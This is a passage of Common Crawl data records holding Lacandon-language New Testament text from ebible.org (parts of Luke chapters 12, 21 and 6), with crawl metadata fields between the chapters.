ich c'ac'. Jach jaj ra' a jach sʌjtex.\n6 Caj ya'araj Jesús:\n―Tu cotor mac yer cu conan cinco chan ch'ich' ti' ca'tur chan majan taq'uin. Quire' cu yiric mʌ' coji'. Chen a chan ch'ich'o' mʌ' u tubur ti' C'uj, cax turiri'. 7 Rajen mʌ' a ch'iquex sajaquir quire' jach cojechex a techexo'. Mʌ' necoj, jach ya'ab a chan ch'ich'o'. Mʌ' ja wirej, mun C'uj cu jach yajquintic techex cax yer mun yʌn u tsotser a jo'rex.\nA mac a cu toc aric ti' mac: A teno' caj in wacsaj tin wor ti' Cristo\n(Mt. 10.32‑33; 12.32; 10.19‑20)\n8 Caj ya'araj Jesús:\n―A teno' quin wac techex a wa mac caj u toc araj caj u yacsaj tu yor ti' u rac'ob. Baxuc a teno' baxuquenechexo'. Quin bin in wa'aric ti' yʌjmasirob u t'ʌn C'uj: Aro' caj u yacsaj tu yor ten. 9 A wa mac mʌ' u c'at ya'aric wa caj u yacsaj tu yor ti' u rac'ob, baxuc a teno' quin bin in wac ti' yʌjmasirob u t'ʌn C'uj: Aro' mʌ' u c'at ya'aric wa caj u yacsaj tu yor uch.\n10 'A wa mac a cu p'astic ten a tu tuchi'ten C'uj wa cu c'axic yor, je' u jawsa'r ten C'uj. Chen a wa mac a cu p'astic u Taj'or u Pixam C'uj, mʌ' ju bin jawsa'bir u si'pir ten C'uj.\n11 'Cax cu bin u puriquechex ʌcʌtan u ts'urir tu cu naj c'ujinticob C'uj u winiquirob judío. Cax ich gobernador cax ich presidente quire' caj a wacsex ta wor ten. Mʌ' ja chen tucriquex bic tabar ca bin a nunquiquex ti'. Mʌ' ja tucriquex a ba' ca bin waquex ti'. 12 A ray u q'uinino' u Taj'or u Pixam C'uj, je' u yac techex ba' yʌn a waquex ti'.\nQui' irej mʌ' u jach t'ajʌr a taq'uinex yejer a ba'taquex\n13 Turi' mac ich a pimo' caj u puraj u t'ʌn ti' Jesús, caj ya'araj:\n―In wʌjcamsʌyʌjirech, chan arej ti' in sucu'un ca' u chʌc jʌse ten u ba'tac in tetob a caj u p'ʌtʌtenob caj quimin in tetob.\n14 Caj u nunca Jesús caj ya'araj:\n―Arej ten mac caj u tetajen ca' in wa'arej bic tabar a jʌsiquex u ba'tac a tetex? Rajen mʌ' in wac techi'.\n15 Rajen Jesús caj u ya'araj ti' a pimo':\n―Qui' cʌnantex a bʌj soc mʌ' a yajquintiquex a taq'uinex, bayiri' ti' a ba'taquex xan. Mʌ' ja wirej, cax a mac neyʌn u taq'uin yejer u ba'tac, aro' mʌ' u ya'aric wa je' u cuxtar ya'ab q'uin.\n16 Soc u cʌnicob a ba' caj u camsaj sam, rajen caj u ya'araj a je'ra':\n―A ucho' ti' yʌn mac jach neya'ab u taq'uin quire' u ru'um caj u nets'ajaj u wich u pʌc'ar. 17 A xibo' a mac jach neya'ab u taq'uin caj u tucraj ich yor caj ya'araj: \"Ba' quin bin in betej baje'rer quire' mʌ' tu quin wacsic in ts'ʌpquin tin wo'och quire' jach ya'ab ten?\" 18 Caj ts'oc u tucric a ba' cu bin u betic caj ya'araj: \"In wer ba' quin bin in betic. Je' in rʌc pa'ic tu quin wacsic u canche'ir in woch ca' in jach cochquintej u jer soc jach carem. Soc ti' quin bin in wacsic in woch yejer a ba' yʌn ten.\" 19 A mac jach neya'ab u taq'uin caj u tucraj tu yor, tan ya'aric ti' u wʌc'ʌs bʌjiri': \"Toc yʌn ba' a c'at ti' ya'ab yaxq'uin. Tsire'ej a beyaj chen jes a bʌj janen uc'urnen xan manen soc qui' a wor.\" 20 Mʌ' toy ts'ocac u t'ʌn caj ara'b ten C'uj: \"Jach chich a jo'r, a je' ac'bira' c'uchij tu q'uinin a quimin. Tu cotor a ba' a caj a ric'saj mac cu bin u ch'ic?\" 21 Baxuc u bin u betic tu cotor mac a cu tucric u nono'j bʌjiri' yejer u ba'tac a mun u q'uinin cuxa'an ich yoc'ocab. Chen mʌ' tu betaj a ba' cu bin u qui'quintic yor C'uj. Chen ʌcʌtan tu wich C'uj jach otsir.\nC'uj cu cʌnantic u pararob\n(Mt. 6.25‑34)\n22 Caj ts'oc u camsic Jesús a pimo' caj u ya'araj ti' u camsʌwinicob:\n―Rajen quin wac tech: Mʌ' ja yʌn tucriquex ba' ca bin a jantex quir a cuxtarex. Mʌ' ja yʌn tucriquex a ba' ca bin a buquintex. 23 Mʌ' ja wirej, jach no'j a cuxtarex chen a wochex mʌ' no'ji'. Baxuc xan, jach no'j a winquirirex chen a noq'uex mʌ' no'ji'. 24 Qui' tucrex a ba' quin bin in wac techex. A c'awojo', mʌ' ju pʌq'uic ba' mʌ' ju jaq'uic yo'och, mʌ' c'ucha'an yor u ric'sic yoch ich c'anche' soc ca' bin c'uchur tu q'uinin yʌn yoch. Chen mʌ' ju wichʌjʌr quire' C'uj cu jansic. Mʌ' wa jach manan cojechex a ch'ich'o', mʌ' necoji'.\n25 Caj ya'araj Jesús:\n―Cax ya'ab ca tucriquex u sats'ʌr a baquerex, mʌ' ju sats'ʌr a baquerex, mʌ' chichin. 26 A werechex mʌ' c'ucha'an a worex a sʌts'iquex a baquerex quire' mʌ' neno'j aro'. Rajen mʌ' ba'wir ca jach tucriquex a ba' ca bin a jantex, a ba' ca bin a wuq'uex, a ba' ca bin a buquintiquex.\n27 'Qui' tucriquex a ba' quin bin in wac techex. Caj a wirajex bic tabar u ch'ijir u top' chʌcmʌnche' a jach tsoy u top'. Ca wiric wa cu beyaj, mʌ' ju c'uch. A teno' quin wac techex. A rey Salomóno', u buquimʌn u noc' uch, jach tsoy chen mʌ' jach quet tsoyir yejer chʌcmʌn che', cax rey. 28 A C'ujo' cu ch'isic u top'che' a ti' yʌn ich c'ax soc tsoy u top', chen tabar u ts'u'ts'ur u top'. Cu c'uchur mac cu maric quir u toquic ich c'ac'. Wa baxuc a C'ujo' cu cʌnantic u top'che'. Baxuc a C'ujo' cu cʌnantic techex, cax ca tucriquex mʌ' u cʌnantiquechex. 29 Quire' a mac yer cʌnanta'an ten C'uj, mʌ' u yʌn tucric a ba' cu bin u jantej. Baxuc a ba' cu bin yuq'uej. Baxuc mʌ' u yʌn xaca'an tucur. 30 Chen a mac a mʌ' yerob C'uj cu tus tucricob aro' quire' xaca'an u tucricob ba' cu bin u jantejob. Baxuc a ba' cu bin u yuc'urob chen ic Tet C'uj, jach yer a ba' a c'atex. 31 Barej c'ajtex a ba' jach no'j tu cu bin u reyintic C'uj. Wa ca yʌn cʌxtiquex aro', tu cotor a ba' a c'atex, je' u ts'ic techex C'uj. Cax a noc', cax a woch, cax a wuc'ur.\nJesús cu camsic u camsʌwinicob ca' u ric'sej a ba' jach co'oj soc yʌn ich ca'anan\n(Mt. 6.19‑21)\n32 Jesús caj u ya'araj ti' u camsʌwinicob:\n―Mʌ' ja ch'iquex sajaquir quire' cax mʌ' pimechex. Mʌ' ja wirej, jach tsoy caj u tucraj C'uj u yacsiquechex a reyintex tu cu reyintej C'uj. 33 Cʌnex a ba'taquex soc yʌn techex ca' a ts'ic ti' a mac otsirchʌjij. Wa baxuc ca betiquex, aro' irej tan a ric'siquex a ba' jach co'oj soc yʌn techex ich ca'anan. A ti taro' mʌ' u xupur quire' munt q'uin ti' yʌno'. Quire' ti taro' mʌna' mac cu yocar u muc u ac'ric. Baxuc a taro' mʌ' ju jantic c'ʌmʌs. 34 Mʌ' ja wirej, a tu yʌn a ric'smʌnex jach co'oj ti' ca pachiquex a bin xan.\nToc qui' pajenex ca' bin uruc Cristo\n35 Jesús caj ya'araj ti' u camsʌwinicob bic tabar u q'uinin ca' bin uruc:\n―Toc pajenex ca' bin urquen ―quij Jesús―, an ten bic mac cu cʌnanticob yatoch u ts'urir quire'. 36 Bin u ts'urir, bin yiric u ch'ic u rac' mac. U winiquirob a ts'uro' u toc buquimʌnob u noc'. Toc t'ʌba'an u quib ca' bin c'uchuc t'ʌnbir. Seb cu q'ueyic u jor soc u yacsicob ti'. 37 Qui' yor a mac a cu toc pajicob u tar u jach ts'urirob ca' bin uruc. Wa tu pajicob ca' bin uruc a ray u quinino', quin bin in wa'aric ti'ob ca' curacob tu janʌnob. Quin ts'abʌc ti'ob quir u janʌnob. 38 Techex jach qui' a worex wa tan a toc pajiquenex ca' bin urquen. Cax chumuc ac'bir. Ca' bin urquen, cax wa tan u sastar ca' bin urquen. 39 Uyex ba' quin waquex tech. Jaj ixtʌcoj wa ra' u winquirir yatoch yer ixtʌcoj u q'uinin u tar yʌjac'rayʌjir ba'tac caj u toc pajaj ca'ch soc mʌ' u cha'ic yocar u yac'ric. 40 Baxuc techex ca' a toc pajiquex quire' wa ra' u q'uinin quin wu'ur mʌ' tan a tucriquex in wu'ur. A teno' a mac tuchi'ta'b ten C'uj baxuquenechexo'.\nA winico' a mʌ' u quibic u t'ʌn u ts'urir baxuc a winico' a cu quibic u t'ʌn u ts'urir xan\n(Mt. 24.45‑51)\n41 Caj ya'araj Pedro:\n―Wa chen ti' tenob caj a wa'araj sam wa ti' tu cotor mac xan.\n42 Caj ya'araj Jesús:\n―Ca' a cʌnex u ca' ts'urir a mac jach t'aj, a cu quib u t'ʌn u Jach Ts'urir ts'a'b u cʌnantej a mac ti' yʌn tu yatoch. Tan u ts'ic ti'ob u janʌnob ca' bin c'uchuc tu q'uinin u janʌnob u winiquirob u Jach Ts'urir. 43 Rajen u ca' ts'urir qui' yor quire' irir ten u Jach Ts'urir tu qui' quibaj u t'ʌn caj ur tu yatoch.\n44 Caj ya'araj Jesús:\n―Jach taj quin wa'aric techex. Je' u ts'abʌr u cʌnantej tu cotor ba' a ti' yʌn ich yatoch. 45 Chen wa ju ca' ts'urir cu tucric tu yor tan ya'aric: \"In jach ts'urir ama'an cu c'uch, tin t'ʌn.\" Rajen tu yʌnxchun u jʌts'icob u winiquirob cax xib cax xquic. Tan u nejanʌn tan u ne'uc'ur xan, tan u carchʌj xan. 46 U jach ts'urir je' u yu'ur tu q'uinin mʌ' tan u pajic u ca' ts'urir quire' mʌ' tu ya'araj ti' ber ca' bin uruc. Cu bin ts'abʌr u muc'yaj ten u jach ts'urir. Quet cu bin u muc'yaj yejer a mac a mʌ' yerob C'uj quire' mʌ' tu betaj a ba' u c'at u jach ts'urir.\n47 Caj ya'araj Jesús:\n―Chen a winico' a yer a ba' u c'at u jach ts'urir chen mʌ' tu quibaj a ba' ara'b ti'. Rajen ca' bin uruc u jach ts'urir ara' u q'uinin mʌ' tan u pajic. Je' u bin ts'abʌr u muc'yaj. Jach yaj cu bin muc'yaj. 48 Chen a winico', quire' caj u betaj ba', rajen bin u jats'ʌr u pach ten u jach ts'urir cax mʌ' yer a ba' u c'at u jach ts'urir ca'ch. Barej mʌ' neyaj cu bin jʌts'bir u pach ten u jach ts'urir. Ca' bin u ts'abʌr u beyaj ten u jach ts'urir ti' u c'urew yʌn u toc rʌc betic. Cax mʌ' ya'ab u beyaj yʌn u rʌc ts'ocsic. Cax ya'ab u beyaj u ts'abʌr ti' ten u ts'urir cu pajic u ts'ocsic ti' cax ya'ab ti'.\nJesús mʌ' u bin u p'eri'quintic yor yejer mac ich yoc'ocab\n(Mt. 10.34‑36)\n49 Caj ya'araj Jesús:\n―Quire' taren a teno' ich yoc'ocab cu bin u p'ujur yor mac aro' irej c'ac'. An bic in c'at toc ts'aca'an in beyaj ich yoc'ocab. 50 Chen yʌn in muc'yaj ―quij Jesús―, baxuc yʌn in quimin soc toy ts'aca'an in beyaj. Bic jach yaj in wor hasta ca' bin yʌnxchunuc in muc'yaj. 51 Quire' taren ―quij Jesús―, ca bin a tucrex a mac ti' yʌn ich yoc'ocab mʌ' u bin u ts'ictarob. Chen a teno' quin wac techex mʌ' u bin sistar yor yejer u rac'ob mac cu bin u rʌc pacran ts'ictarob. 52 Cu yʌnxchun baje'rer hasta cu xur t'ʌn wa ti' yʌn cinco winic ich yatoch u tet. A mʌna' u nupo' cu bin u ts'ictarob yejer a ca'turo'. A ca'turo' cu bin u ts'ictarob yejer a mʌna' u nupo'. 53 U tet cu ts'ictar yejer u parar xan. U parar cu ts'ictar yejer u tet xan. U nʌ' cu ts'ictar yejer xquic u parar. A xquico' u parar cu ts'ictar yejer u nʌ'. Yixquit cu ts'ictar yejer yixquit. Cu pacran ts'ictar yejer yixquit.\nJesús cu ya'aric ti' a pimo'\n(Mt. 16.1‑4; Mr. 8.11‑13)\n54 Jesús caj ya'araj ti' a pimo':\n―Ca wiriquex u nacar u muyarir tu cu bin q'uin ca waquex je' u tar ya'rire'. Jach jaj cu tar ya'rir. 55 Wa cu tar yic'ar ich nojar ca waquex bin u ca' chʌcʌrchʌjʌr q'uin. Jach taj cu chʌcʌchʌjʌr q'uin. 56 Ca chen tusariquex ca' bin a wirex biquira' a ca'anano'. Baxuc a ru'umo' a werex wa cu tar ja' wa cu bin chʌcʌwchʌjʌr. Biquinin mʌ' a werex ba' u c'at ya'arej a ba' quin betic baje'rer?\nJesús cu ya'aric: Ca' a sisquintic yor a mac a cu p'actiquechex\n(Mt. 5.25‑26)\n57 Caj ya'araj Jesús:\n―Biquinin mʌ' a bʌjiri'ex ca tucriquex ta worex a ba' ca bin a betiquex?\n58 Caj ya'araj ti' u camsʌwinicob:\n―Wa yʌn mac cu bin u puriquech ʌcʌtan ich juez quir yiric wa yʌn a bo'or ti'. Joq'uen sisquintej yor soc mʌ' u bin u puriquech ich juez. Wa mʌ' a bin a sisquintej yor, je' u bin u puriquech ich juez. Caj ts'oc yiric yʌn a si'pir cu bin u c'ubiquech tu cu ma'cʌr winic. 59 A teno' ―quij Jesús―, quin wac tech: Mʌ' u bin u cha'ic tech hasta ca rʌc bo'otic a bo'or.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK12.htm","date":"2022-08-15T07:57:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00769.warc.gz","language":"lac","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000075101852417}","num_words":2342,"character_repetition_ratio":0.061,"word_repetition_ratio":0.003,"special_characters_ratio":0.302,"stopwords_ratio":0.522,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"21\nQuire' Jesús cu yiric cu but'ic taq'uin tu cu naj c'ujinticob C'uj a quimen u mamo'\n(Mr. 12.41‑44)\n1 Jesús caj u yiraj tan u but'icob u taq'uin a mac neyʌn u taq'uin tu cuchir tu cu naj but'icob u taq'uin tu cu naj c'ujinticob C'uj u winiquirob judío. Ra' taq'uin ti' carem naj tu cu naj c'ujinticob C'uj. 2 Caj u yiraj xan xquic a quimen u mamo' otsir caj u but'aj u majan taq'uin, ca'tur chʌc taq'uin a mʌ' coji'. 3 Caj ya'araj Jesús ti':\n―Taj quin wac techex. A je' xquica' a quimen u mamo' cax otsir. Chen caj u but'aj ca'tur u chʌc taq'uin a mʌ' coji' chen ʌcʌtan tu wich C'uj co'oj caj u but'aj. Chen u rac'ob cax ya'ab caj u but'ajob chen ʌcʌtan tu wich C'uj mʌ' co'oji'. 4 A mac neyʌn u taq'uinob caj u but'ob u taq'uin tu nanij cu but'icob u taq'uin tu cuchir tu cu naj c'ujinticob C'uj. Quire' jach manan ya'ab caj u but'ob quire' jach manan t'aj u taq'uin chen ra' caj u but'ob quire' mʌ' u rʌc c'ʌnicobe' u taq'uin. Chen a xquico' a otsiro' caj u toc rʌc but'aj ti'o' u taq'uin cax mʌna' tu cu mʌnic yo'och.\nJesús cu ya'aric bin u ca' juburob carem naj tu cu naj c'ujinticob C'uj\n(Mt. 24.1‑2; Mr. 13.1‑2)\n5 Ti' yʌn mʌ' ya'ab mac caj ya'araj ti' Jesús:\n―Ira wirej, jach tsoy tu ts'ʌpa'an u tunichir carem naj. Baxuc u tunichir ti' C'uj a ts'abij ten, mʌ' ya'ab u winiquirob judío, quire' cu sʌjticob C'uj.\nChen Jesús caj u ya'araj ti'ob:\n6 ―A ca wiriquex carem naj ca' bin c'uchuc tu q'uinin je' u rʌc jubsa' ten mac. Cu bin u rʌc pipich'inticob, mʌ' ju bin p'atʌr ca'tur ts'ʌpric.\nJesús cu tsicbʌtic a ba' cu bin yesic ca' bin xuruc t'ʌn\n(Mt. 24.3‑28; Mr. 13.3‑23)\n7 U camsʌwinicob caj u c'atob ti' Jesús:\n―In wʌjcamsʌyʌjirech ―quij―, ber ca' bin jubuc a caj a wa'araj? Ba' cu bin u yesic to'on xan wa tabar u xur t'ʌn?\n8 Jesús caj ya'araj ti'ob:\n―Qui' cʌnantex a bʌj ―quij Jesús―, quire' je' u tar mac u tusiquechex. Mʌ' a quibiquex aro'. Quire' cu bin ya'aricob: \"A teno' Cristojen, caj u tuchi'ten C'uj.\" Tan ya'aric: \"Tabar u xur t'ʌn.\" Chen mʌ' ja yʌn sayʌrex tu pach. 9 Mʌ' ja ch'iquex sajquir ―quij Jesús―, wa tan a wu'yiquex tan u quinsicob u bʌj. Cax wa cu wu'yiquex bin u ca' quinsicob u bʌj. Raji' cu yʌnxchun u tar u quinsicob u bʌj chen mʌ' toy xuruc t'ʌni'.\n10 Jesús caj u ya'araj ti'ob:\n―Mʌ' toy c'uchuc tu q'uinin u xur t'ʌni' A je' u ru'umin tu cʌja'anob mac. Je' u ts'ictar mac ich u ru'umin tu cʌja'anob mac. Baxuc xan, mac ich u chan cajar. Bin u caj ts'ictarob yejer mac ich u jerob u chan cajarob. 11 Mʌ' toy xuruc t'ʌn, cax cu chen pec u ru'umin. Jach c'am cu pec tu cʌja'anob mac. Yʌn a ru'umin mʌ' u pec juntur u cajar u ru'umin tu cʌja'anob mac. Yʌn u ru'umin je' u pec u ru'umin tu cʌja'an mac. Yʌn u q'uinin cu bin yubicob wi'ij. An bic cu cʌnic u yajirir seb cu cʌnicob. Ra' cu bin u rʌc man tu cotor. Je' u ch'icob sajquir mac ca' bin yirob a ba' u ber ich ca'anan a ba' cu bin yesej C'uj.\n12 'Mʌ' c'uchuc tu q'uinin aro' cu bin chuquex a pach quire' caj a wacsajex ta wor ten ―quij Jesús―. Baxuc cu bin u c'ubiquechex yejer u ts'urirob tu cu naj c'ujinticob C'uj u winiquirob judío. Baxuc xan, quir u mʌquiquexob tu cu ma'cʌr winic. Ti' cu bin u chopʌytiquexob quir u bin u puriquechex ʌcʌtan rey yejer ich gobernador quir u taquiquex a jo'r. 13 Wa ra' u q'uinin cu beticob techex aro', ra' u q'uinin c'ucha'an a wor a waquex ti'ob u jach tsoyir u t'ʌn C'uj. 14 Mʌ' a tucriquex wa cu tar u chuquex a pach. Baxuc mʌ' a tucriquex ba' ca bin a wa'arex ti'ob. Mʌ' toy xiquex ʌcʌtan a mac a cu bin u ta'quic a jo'r. 15 A teno' ―quij Jesús―, je' in ts'ic techex a t'ʌnex quire' a ne'er a nuquiquex u t'ʌnob. Je' a nunquiquex ti' soc mʌ' c'ucha'an yor u pʌq'uiquex a pach a mac u p'ec yiriquechex. 16 Mʌ' chen a mac cu p'actiquechex cu bin u chuquiquex a pachex. A tet xan, yejer a nʌ', cax a bʌjob xan, cax a mac a u jach yajechex xan, cu bin u chuquiquex a pachex, tan u c'ubicob techex. Baxuc je' u quinsiquechex xan, mʌ' ya'abi' ich techex. 17 Quire' techex caj a wacsajex ta wor ten tu cotor mac cu bin u p'actiquechex. 18 Qui' cʌnex a je'ra'. Mʌ' ja wirej, a C'ujo' cu cʌnantic techex soc mʌna' ba' u ber techex, mʌ' ja bin satʌr turi' u tsotser a jo'r. 19 Je' u ts'abʌr techex a cuxtarex munt q'uin wa rajra' ca muc'tiquex a ba' cu tar techex tu cu chuquicob a pachex.\n20 'Quire' wa ca wiriquex yʌjquinsirob mac jach pim tan u bʌcristicob u cajar Jerusalén. A werex c'uchij tu q'uinin u rʌc jubsicob u cajar Jerusalén. 21 Barej ca wiriquex bʌcrisa'an u cajar Jerusalén. Arej ti' a mac ti' yʌn ich u ru'umin Judea ca' rʌc puts'ucob ich wits. Arej ti' a mac ti' yʌn ich u cajar Jerusalén ca' putsuc xan. Arej ti' a mac ti' yʌn ich tancab u cajar Jerusalén. Arej ti'ob mʌ' u puts'urob ich u cajar Jerusalén. 22 Ra'iri' u q'uinin c'uchij tu q'uinin u bo'oticob u bo'orir u si'pir ti' C'uj u winiquirob judío ich u cajar Jerusalén quire' baxuc caj u ya'araj tu ts'iba'an u t'ʌn C'uj. Rajen cu bin u nupsej. 23 Jach otsir a xquico', ra' u q'uinin jach na'aj. Baxuc xquic cu ts'ic u chu'ch u chan ti'ar. Mʌ' ja wirej, tu cotor mac a ti' yʌn tu ru'umin Judea, cu bin ts'abir u muc'yajob ten C'uj. Quire' ts'iquij a C'ujo' quire' caj u yiraj mʌ' quibob u t'ʌn. 24 Yʌn cu bin ch'ʌcbirob u car ten yʌjquinsirob winiquirob ich u winiquirob judío. Yʌn ya'ab xan cu bin purbirob ich u jer ru'umin quir u c'anʌn beyajob tu cu binob ich tu cotor u cajarob ich yoc'ocab u winiquirob judío. Ti' cu bin ts'urinbir u cajar Jerusalén ten a mʌ' u winiquirob judío hasta c'uchij tu q'uinin u ts'ocar u ts'urinticob u ts'urirob u ru'umob.\nYʌn ba' cu bin yesej tabar u tar Jesús\n(Mt. 24.29‑35, 42‑44; Mr. 13.24‑37)\n25 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Ra' u q'uinin ca' bin ts'ocac u ts'urinticob a mʌ' u winiquirob judío. A ba' u ber ich ic yum, baxuc ich ic nʌ'. Baxuc ich a sabo', cu bin u jac'ʌr yor tu cotor mac. Mʌ' yerob mac ba' cu bin u beticob. Ca' bin yubejob u jum c'ac'nab, jach c'am yejer u yamin xan. Cu bin u ch'icob sajquirob. 26 Ra'iri' u q'uinin tu cotor mac a ti' yʌn ich yoc'ocab cu bin u ch'ic sajquirob ca' bin jac'ʌcob yorob. Quire' a ba' u ber ich yoc'ocab. Quire' a C'ujo' cu bin u rʌc siptic a sabo'. 27 Ra'iri' u q'uinin mac ti' yʌnob ich yoc'ocab cu bin yiricob in tar ich u muyarir ca' bin taquen yejer in muc' soc yer tu cotor mac jach no'jen a teno'. Quin bin in tar yejer jach manan u sasirir C'uj xan. A teno' baxuquenechexo'. 28 Barej u q'uinin cu yʌnxchun arayo' chichquintej a worex ―quij Jesús―, qui'quintex a worex quire' tabar u c'uchur tu q'uinin in ca' ur quir in ta'quiquechex ti' a c'aso'.\n29 Jesús caj u camsaj baxuc a je'ra' caj ya'araj:\n―C'aj techex ca' bin a wirex u che'er higuera yejer tu cotor che'. 30 Cu ts'ocar u joc'ar u mumun re', tabar u yocar yaxq'uin. 31 Baxuc xan, ca' bin a wirex a ba' u ber ich ic yum. Baxuc ich ic nʌ'. Baxuc ich a sabo', je' a werex c'uchij tu q'uinin u tar C'uj quir u reyinticob.\n32 'Taj quin wa'aric techex ―quij Jesús―, cu yʌn tar tu cotor ba' a caj in wa'araj techex. Mʌ' toy quimiquechex a mac cuxa'an baje'rer. 33 Je' u c'uchur tu q'uinin a ca'anano' cu bin ts'ocar baxuc cu bin ts'ocar u ru'umin. Chen in t'ʌn a caj in wa'araj techex a C'ujo' cu bin u nupsic.\n34 'Qui' cʌnantex a bʌj. Mʌ' a jen janʌnex, mʌ' ja wuq'uiquex quir a carchʌjʌrex. Mʌ' ja man a tucriquex bic tabar a jariquex a taq'uinex. Mʌ' ja wirej, quire' a mac a cu jen janʌn yejer a cu yuq'uic quir u carchʌjʌrob yejer mac a cu tucric u nejaric u taq'uin ca' bin taquen a teno' u q'uinin mʌ' tan u pajicob quir u bin ich ca'anan quire' seb quin bin ur. 35 Baxuc a mac mʌ' yerob C'uj ich yoc'ocab cu bin u jac'ʌr yorob ca' bin uruquen wa ra' u q'uinin mʌ' tan u pajicob in wur. Baxuc a bʌc'o' ca rejiquex mʌ' yer. 36 Chen techex rajra' ca cʌnantiquex a bʌj. Rajra' ca t'ʌniquex C'uj soc ca' bin c'uchuc tu q'uinin tabar u xur t'ʌn cu bin u yamtiquechex C'uj quir a muc'tiquex a ba' u ber techex. Soc a tarex ʌcʌtan tu yʌnen quire' a teno' baxuquenechexo'.\n37 U burur q'uin Jesús caj u camsaj a pimo' ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Chen oq'uin rara' cu bin ich u jo'r p'uc wits u c'aba' Olivos. Ti' p'atij ich u jo'r wits. 38 A'ac'bir tu cotor mac cu binob ich tu cu naj c'ujinticob C'uj u winiquirob judío quir yubic u tsicbar Jesús.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK21.htm","date":"2022-08-17T18:55:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00799.warc.gz","language":"lac","language_score":1.0000052452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000052452087402}","num_words":1560,"character_repetition_ratio":0.077,"word_repetition_ratio":0.008,"special_characters_ratio":0.294,"stopwords_ratio":0.503,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nU camsʌwinicob Jesús cu jo'sticob u wich trigo u q'uinin tu cu jesicob u bʌj u winiquirob judío\n(Mt. 12.1‑8; Mr. 2.23‑28)\n1 Caj c'uchij tu q'uinin u jesicob u bʌj u winiquirob judío, ray u q'uinin caj bin Jesús yejer u camsʌwinicob caj u ch'ʌctajob u corir trigo. U camsʌwinicob Jesús caj u jo'stajob u wich trigo caj u jʌxʌc'ʌ'tajob ca' ruc'uc u sor ca' u jantejob. 2 Caj irir tenob u winiquirob judío a fariseojo', jun yarob a fariseojo'. Caj ya'arajob:\n―Biquinin a camsʌwinicob tech tan u jo'sticob u wich trigo u jantejob. Tu ts'iba'an u t'ʌn Moisés cu ya'aric mʌ' tsoy u beyaj u q'uinin tu cu jesicob u bʌj u winiquirob judío.\n3 Jesús caj u nuncaj:\n―Mʌ' wa ja xacmʌnex ba' caj u jantaj David uch, caj wichʌj quet yejer u nupob caj wichʌjob uch. 4 Caj oc tu t'ina'an u noq'uir naj tu cu naj c'ujinticob C'uj u winiquirob judío uch. Caj u jantaj pan a ti' yʌnob ich yoc'or pojche' ti' ʌcʌtan C'uj. Caj u c'asquintaj u t'ʌn C'uj David, quire' raji' David yejer u nupob caj u jantajob. Quire' C'uj, caj ya'araj, chen a sacerdotejo' cu janticob. 5 Mʌ' ja wirej ―quij Jesús―, a teno' baxuquenechex, quin ts'urintic tu cotor ba', inan a ba' cu yiric mac tu q'uinin tu cu jesicob u bʌj u winiquirob judío ―quij Jesús.\nA xibo' a mʌ' u jitir u c'ʌbe'\n(Mt. 12.9‑14; Mr. 3.1‑6)\n6 Caj c'uchij u jer u q'uinin tu q'uinin tu cu jesicob u bʌj u winiquirob judío. Jesús caj oc tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u yʌnxchun u camsicob Jesús. Ti' yʌn xib a mʌ' u jitir u c'ʌb ich u noje'. 7 Ti' yʌn yʌjcamsʌyʌjirob u t'ʌn Moisés yejer u winiquirob judío a fariseojo'. Tan u qui' pʌcticob Jesús quir yiricob wa mʌna' u jawsic u yajir ray u q'uinin tu cu jesicob u bʌj u winiquirob judío, quire' u c'at u taquicob u jo'r Jesús. 8 Jesús yer ba' cu tucricob u winiquirob judío a fariseojo' yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Caj ara'b ti' xib, a mʌ' u jitir u c'ʌb:\n―Riq'uen ta ch'ictar ca' taquech chumuc tu yʌno'onex soc chʌca'an yiriquech tu cotor mac.\nCaj ric' tu ch'ictar. 9 Jesús caj ya'araj ti'ob:\n―Yʌn ba' quir in c'atic techex. Tu q'uinin quic jesic ic bʌj. C'ucha'an yor mac u betic a ba' jach tsoy, wa c'ucha'an yor mac u betic a ba' c'as? C'ucha'an yor mac u yamtic mac u jer wa c'ucha'an yor u quinsic mac?\n10 Jesús caj u rʌc pʌctaj yirej jujuntur, Jesús caj ya'araj ti' xib:\n―Tich' a c'ʌb ca'anan.\nA xibo' caj u tich'aj u c'ʌb, seb caj toc qui' jawij. 11 Chen raji'ob, caj yirob aro' caj jach p'ujob caj u p'erinquintajob u tucurob ba' cu bin u beticob ti' Jesús.\nTeta'b ten Jesús a mac a cu bin u tsec'ticob u t'ʌn\n(Mt. 10.1‑4; Mr. 3.13‑19)\n12 Caj c'uchij tu q'uinin Jesús caj bin u t'ʌnej C'uj ich jo'r wits. U burur ac'bir caj u t'ʌnaj C'uj Jesús. 13 Caj sasij caj u much'quintajob u camsʌwinicob quir u tetic doce, raji' caj u pʌcha u camsʌwinicob: \"A mac a quin tuchi'ticob quir u tsec'ticob in t'ʌn.\" 14 Jera' u c'aba' a mac a cu bin tuchi'bir ten Jesús quir u tsec'ta'r u t'ʌn. Jeroj Simón caj pach u jer u c'aba' Pedro. U jer caj u tetaj Andrés, raji' u bʌjob Simón. U jer caj u tetaj Jacobo. U jer caj u tetaj Juan. U jer caj u tetaj Felipe. U jer caj u tetaj Bartolomé. 15 U jer caj u tetaj Mateo. U jer caj u tetaj Tomás. U jer caj u tetaj Jacobo, ra' u tet Alfeo. U jer caj u tetaj Simón, raji' tan u qui' c'ujintic C'uj, a tan u sayʌr u pach cananista. 16 U jer caj u tetaj Judas, ra' u tet Jacobo. U jer caj u tetaj Judas Iscariote, raji' cu bin c'ubic Jesús.\nJesús cu camsic a pim winiquirob\n(Mt. 4.23‑25)\n17 Caj ts'oc u tetic a docejo' caj wʌc'ʌs emij ti' u jo'r wits. 